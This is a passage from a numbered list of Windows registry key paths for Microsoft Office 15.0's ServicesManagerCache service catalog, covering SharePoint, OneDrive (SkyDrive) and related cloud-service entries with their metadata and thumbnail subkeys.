  1161. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1162. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1163. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1164. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1165. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1166. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1167. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1168. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1169. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1170. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1171. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1172. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1173. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1174. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1175. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1176. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1177. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1178. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1179. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1180. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1181. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1182. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1183. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1184. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1185. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1186. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1187. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1188. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1189. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1190. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1191. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1192. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1193. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1194. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1195. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1196. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1197. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1198. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1199. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1200. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1201. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1202. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1203. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1204. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1205. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1206. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1207. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1208. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1209. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1210. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1211. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1212. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1213. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1214. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1215. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1216. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1217. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1218. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1219. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1220. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1221. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1222. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1223. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1224. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1225. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1226. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1227. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1228. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1229. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1230. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1231. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1232. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1233. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1234. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1235. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1236. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1237. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1238. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1239. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1240. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1241. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1242. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1243. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1244. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1245. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1246. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1247. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1248. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1249. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1250. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1251. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1252. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1253. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1254. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1255. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1256. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1257. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1258. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1259. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1260. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1261. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1262. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1263. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1264. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1265. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1266. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1267. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1268. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1269. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1270. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1271. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1272. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1273. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1274. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1275. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1276. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1277. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1278. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1279. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1280. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1281. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1282. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1283. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1284. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1285. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1286. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1287. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1288. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1289. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1290. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1291. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1292. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1293. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1294. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1295. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1296. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1297. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1298. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1299. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1300. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1301. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1302. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1303. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1304. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1305. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1306. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1307. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1308. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1309. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1310. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1311. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1312. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1313. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1314. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1315. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1316. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1317. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1318. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1319. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1320. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1321. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1322. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
